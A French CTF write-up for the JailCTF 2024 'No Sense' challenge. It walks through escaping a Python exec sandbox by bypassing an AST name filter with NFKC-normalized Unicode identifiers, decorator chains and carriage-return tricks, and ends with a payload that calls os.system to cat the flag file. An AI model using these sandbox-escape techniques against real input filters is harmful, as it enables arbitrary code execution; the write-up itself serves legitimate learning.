MisTrale Write UpMisTrale Write Up
Buy me a coffee ☕
  • English
  • Français
GitHub
Buy me a coffee ☕
  • English
  • Français
GitHub
    • 🏁 Introduction
    • 🌟 Remerciements
  • 💀 Root-Me 20k

    • 💀 Root Me - 20k
    • ❤️ Bash - Love Me
    • 🛑 Python - Not This Way
    • 📚 NodeJs - Never Trust Node One
  • ⛓️ JailCTF-2024

    • 👮 JailCTF - 2024
    • 🔠 !Alphabeat
    • 🧑‍🦯 Blind Calc
    • 🎉 Parity 1
    • 🎈 Parity 2
    • 🪄 Pickle Magic
    • ☎️ Get and Call
    • ⁉️ No Sense
    • 🟩 Filter'd
    • 🧐 SUS Calculator
  • 🕹️ TCP1P

    • 🎮 Another Discord
  • 🧮 GCC-2024

    • 😅 soBusy
  • 🌛 Midnight

    • 🌃 Midnight
    • ✨ Privesc - 1
    • 🔑 Privesc - 2
    • 👑 Privesc - 3
    • 🎭 My Face

⁉️ No Sense

👀 Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

📖 Énoncé du challenge

#!/usr/local/bin/python3
from ast import parse, NodeVisitor

inp = input('> ')
if any(c in inp for c in '([=])'):
    print('no.')
    exit()

class NoNonsenseVisitor(NodeVisitor):
    def visit_Name(self, n):
        if n.id in inp:  # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
            print('no ' + n.id)
            exit()


NoNonsenseVisitor().visit(parse(inp))

exec(inp)  # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk

🚩 Avoir le flag

Bon, nouveau challenge est maintenant nous allons devoir bypass un AST.

Si vous avez bien suivi mes writeups, nous passons à l'état analyse.

Petite analyse du code:

  • On a un input qui est demandé à l'utilisateur.
  • On vérifie si l'input contient un des caractères suivants: ([=]). Si c'est le cas, on affiche no. et on quitte le programme.
  • On a une classe NoNonsenseVisitor qui hérite de NodeVisitor.
  • On a une méthode visit_Name qui prend en paramètre n.
  • On vérifie si n.id est dans inp. Si c'est le cas, on affiche no suivi de n.id et on quitte le programme.
  • On visite l'AST de l'input.
  • On exécute l'input.

Déja notre principal problème est que l'input ne doit pas contenir les de [a-zA-Z].

Vu que nous avons un exec, nous pouvons avoir des injections à base de stylish payload.

Comme ça par exemple:

❯ python3 main.py
> print
no print

❯ python3 main.py
> 𝘱𝘳𝘪𝘯𝘵

Donc avec notre stylish payload, nous pouvons bypass le challenge.

A présent nous devons trouver un moyen de soit lire le fichier flag.txt ou soit exécuter une commande.

Déja pour ouvrir le fichier flag.txt et bypass l'AST, nous pouvons utiliser des décorateurs python.

>>> def func(x):
...     print("FUNC WAS CALLED SOMEWHERE")
...
>>> @func
... class z:
...     pass
...
FUNC WAS CALLED SOMEWHERE
>>>

Okay c'est pas mal, mais comment on peut l'utiliser pour lire le fichier flag.txt?

Si vous avez suivi le writeup Parity-2, nous connaissons un tricks pour avoir le contenu d'un fichier uniquement avec un for.

Nous pouvons donc effectué le même trick ici.

>>> for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:
...     @print
...     @list
...     @open
...     @path
...     class z:
...             pass
...
['jail{flag_will_be_here_on_remote}\n']

Nous allons effectué notre deuxième petit tricks c'est à dire mettre tout sur la même ligne. Pour cela nous pouvons utilisé le \r.

inp = """@𝘦𝘹𝘦𝘤\r@𝘪𝘯𝘱𝘶𝘵\rclass\x0ca:pass"""

print(inp)

Et on peut alors envoyer notre payload au serveur:

$ python3 payload.py | nc challs1.pyjail.club 6197
__import__('os').system('cat flag.txt')
jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}

Et voilà, nous avons notre flag jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}.

💖 Support

👀 Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
☎️ Get and Call
Next
🟩 Filter'd